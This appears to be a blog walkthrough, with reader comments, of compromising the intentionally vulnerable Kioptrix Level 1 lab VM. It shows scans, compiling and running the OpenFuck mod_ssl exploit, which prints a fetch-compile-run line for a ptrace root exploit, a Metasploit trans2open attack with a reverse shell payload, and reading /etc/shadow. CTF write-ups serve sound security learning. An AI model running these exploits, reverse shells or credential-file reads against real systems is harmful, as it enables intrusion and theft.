Kioptrix Level 1 (#1) Walkthrough

The next boot2root series that I decided to work on was the Kioptrix series by loneferret from VulnHub.

This seemed to be another series that was a bit closer to beginner/intermediate level, so I figured it would be another good series to do some walkthroughs on.

So, starting with Kioptrix Level 1, I downloaded the VM, spun up Kali, and got to work.

As usual, I first fired up netdiscover to find out the IP of the new host.

 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 240
   IP            At MAC Address      Count  Len   MAC Vendor       
 ------------------------------------------------------------------    00:50:56:c0:00:01    02    120   VMWare, Inc.  00:0c:29:7c:3a:16    01    060   VMware, Inc.  00:50:56:ff:a3:23    01    060   VMWare, Inc.     

[email protected]:~#

IP in hand, I ran Nmap to figure out my first point of attack.

[email protected]:~# nmap -sT -sV -O

Starting Nmap 6.47 ( ) at 2015-04-24 21:24 EDT
Nmap scan report for
Host is up (0.00033s latency).
Not shown: 994 closed ports
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/http    Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:7C:3A:16 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 26.81 seconds

I like to check out HTTP first, as it is usually a good place to start, so I headed to the home page to check it out.

This appeared to be a default apache installation, and DirBuster didn’t find anything other than default Apache files, some usage, and a worthless test.php file.

Getting nowhere fast, I fired up Nikto to see if this version of Apache or any of the plugins were remotely exploitable. A few lines caught my eye (emphasis added), so I decided to try to follow up with them.

[email protected]:~# nikto -h
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2015-04-24 21:36:38 (GMT-4)
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep  5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ OSVDB-637: Enumeration of users is possible by requesting ~username (responds with 'Forbidden' for users, 'not found' for non-existent users).
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current.
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 7355 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time:           2015-04-24 21:38:39 (GMT-4) (121 seconds)
+ 1 host(s) tested

Nothing seemed to come from the first vulnerability, but the second proved to be more fruitful. A bit of searching turned up a remote exploit for it entitled OpenFuckV2.c, so I downloaded that and tried to run it.

Of course it wouldn’t compile right away due to some RC4 and MD5 issues, so after a little bit of searching I found out it was slightly outdated, and needed to update some includes, libraries, and declarations of variables. More information on this can be found on PaulSec’s Blog.

[email protected]:~# gcc -o OpenFuck OpenFuck.c 
OpenFuck.c:651:2: error: unknown type name ‘RC4_KEY’
OpenFuck.c:652:2: error: unknown type name ‘RC4_KEY’
OpenFuck.c: In function ‘read_ssl_packet’:
OpenFuck.c:844:7: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
OpenFuck.c:844:7: note: each undeclared identifier is reported only once for each function it appears in
OpenFuck.c: In function ‘send_ssl_packet’:
OpenFuck.c:882:2: error: unknown type name ‘MD5_CTX’
OpenFuck.c:887:23: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
OpenFuck.c: In function ‘get_server_hello’:
OpenFuck.c:1009:2: warning: passing argument 2 of ‘d2i_X509’ from incompatible pointer type [enabled by default]
In file included from /usr/include/openssl/ssl.h:156:0,
                 from OpenFuck.c:20:
/usr/include/openssl/x509.h:840:1: note: expected ‘const unsigned char **’ but argument is of type ‘unsigned char **’
OpenFuck.c: In function ‘generate_key_material’:
OpenFuck.c:1106:2: error: unknown type name ‘MD5_CTX’
OpenFuck.c:1111:42: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
OpenFuck.c: In function ‘generate_session_keys’:
OpenFuck.c:1127:23: error: ‘RC4_KEY’ undeclared (first use in this function)
OpenFuck.c:1127:31: error: expected expression before ‘)’ token
OpenFuck.c:1131:32: error: expected expression before ‘)’ token

Once I had all of my headers and includes (not the URL, more on that later) fixed I was able to compile it successfully, and then I was ready to move on.

[email protected]:~# gcc -o OpenFuck OpenFuck.c -lcrypto
[email protected]:~#

I ran the executable and searched for the appropriate Apache version, though there appeared to be 2 possible options.

[email protected]:~# ./OpenFuck | grep "1.3.20"
	0x02 - Cobalt Sun 6.0 (apache-1.3.20)
	0x27 - FreeBSD (apache-1.3.20)
	0x28 - FreeBSD (apache-1.3.20)
	0x29 - FreeBSD (apache-1.3.20+2.8.4)
	0x2a - FreeBSD (apache-1.3.20_1)
	0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
	0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
	0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
	0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
	0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
	0x7e - Slackware Linux 8.0 (apache-1.3.20)
	0x86 - SuSE Linux 7.3 (apache-1.3.20)

I ran the first possible option, but that didn’t appear to work.

[email protected]:~# ./OpenFuck 0x6a

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x8100828
Ready to send shellcode
Spawning shell...
Good Bye!

The second attempt went much better, and attempted to run the post shell exploit which failed. This was expected as I had the network setup as private though, so I was still on track.

[email protected]:~# ./OpenFuck 0x6b

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f80e0
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
oits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; .nl/0304-expl
           => `ptrace-kmod.c'
Connecting to Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash-2.05$ unset HISTFILE; cd /tmp; ./ptrace; 
bash: ./ptrace: No such file or directory

I found the actual ptrace/kmod local exploit, downloaded it to the /tmp directory, compiled it, and executed it.

Success! This worked and gave up root.

bash-2.05$ ./ptrace
[+] Attached to 1080
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

It looked like there was some mail for root as opposed to an actual flag file, so I dumped that as well

cat /var/mail/root
From root  Sat Sep 26 11:42:10 2009
Received: (from [email protected])
	by kioptix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
	for [email protected]; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root 
Message-Id: <[email protected]>
To: [email protected]
Subject: About Level 2
Status: O

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

Additionally, looking back, I decided to see if the SMB service was exploitable. First I checked the actual version of Samba running since Nmap didn’t pick it up.

msf (UNDERLINED) auxiliary(smb_version) > exploit

[*] 172.16.119..132:139 could not be identified: Unix (Samba 2.2.1a)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution complete

After a quick search, it seemed like this version might be vulnerable to the trans2open samba exploit, so I figured I’d give that a try as well. I fired up Metasploit to see if there was already a pre-built exploit for it to save me a little time, and because I hadn’t used the framework in a little while.

msf > use exploit/linux/samba/trans2open
msf exploit(trans2open) > set RHOST
msf exploit(trans2open) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf exploit(trans2open) > set LHOST
msf exploit(trans2open) > exploit

[*] Started reverse handler on 
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Command shell session 1 opened ( -> at 2015-04-24 23:15:13 -0400

uid=0(root) gid=0(root) groups=99(nobody)

And, as usual (when I can remember), I dumped the shadow file for future/anyone else’s reference.

cat /etc/shadow

This was definitely on the beginner end of the spectrum, but a perfect starting point for anyone interested in getting started with some of these. That said, I look forward to continuing with the rest of the series.

17 thoughts on “Kioptrix Level 1 (#1) Walkthrough”

  1. I get these errors when I try to compile it. I have added the headers to it and everything but it seems like my amazing C experience isn’t helping ^,^ …

    764.c:645:24: error: ‘SSL2_MAX_CONNECTION_ID_LENGTH’ undeclared here (not in a function)
    unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
    764.c: In function ‘read_ssl_packet’:
    764.c:847:19: error: ‘SSL2_MT_ERROR’ undeclared (first use in this function)
    if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
    764.c:847:19: note: each undeclared identifier is reported only once for each function it appears in
    764.c: In function ‘get_server_hello’:
    764.c:979:16: error: ‘SSL2_MT_SERVER_HELLO’ undeclared (first use in this function)
    if (*(p++) != SSL2_MT_SERVER_HELLO) {
    764.c: In function ‘send_client_master_key’:
    764.c:1071:10: error: dereferencing pointer to incomplete type ‘EVP_PKEY {aka struct evp_pkey_st}’
    if (pkey->type != EVP_PKEY_RSA) {
    764.c: In function ‘get_server_verify’:
    764.c:1148:16: error: ‘SSL2_MT_SERVER_VERIFY’ undeclared (first use in this function)
    if (buf[0] != SSL2_MT_SERVER_VERIFY) {
    764.c: In function ‘send_client_finished’:
    764.c:1160:11: error: ‘SSL2_MT_CLIENT_FINISHED’ undeclared (first use in this function)
    764.c: In function ‘get_server_finished’:
    764.c:1173:16: error: ‘SSL2_MT_SERVER_FINISHED’ undeclared (first use in this function)
    if (buf[0] != SSL2_MT_SERVER_FINISHED) {

          1. I got same error with @machete, and solved it with
            – install libssl1.0-dev, and
            – reboot the machine


    1. Thanks! Yea, HTTP is usually a good place to start in a CTF/engagement regardless. It usually has the largest attack surface, or can at least get you started in a proper direction. That said, you can also kick of scanners for the other services at the same time (nse smb vuln scripts, etc.)

  2. Pingback: Kioptrix 1 – First up – Infosec Notes to Myself

  3. Pingback: URL

  4. Getting the following…any help appreciated…

    HTTP request sent, awaiting response… 200 OK
    Length: 3,921 [text/plain]

    0K … 100% 3.74 MB/s

    00:57:36 (3.74 MB/s) – `/tmp/ptrace-kmod.c’ saved [3921/3921]

    collect2: cannot find `ld’
    bash: ./p: No such file or directory

    1. It sounds like you are unable to find the ld binary for some reason.

      First, try to copy /usr/bin/ld to /tmp/ld and see if your compile command works then.

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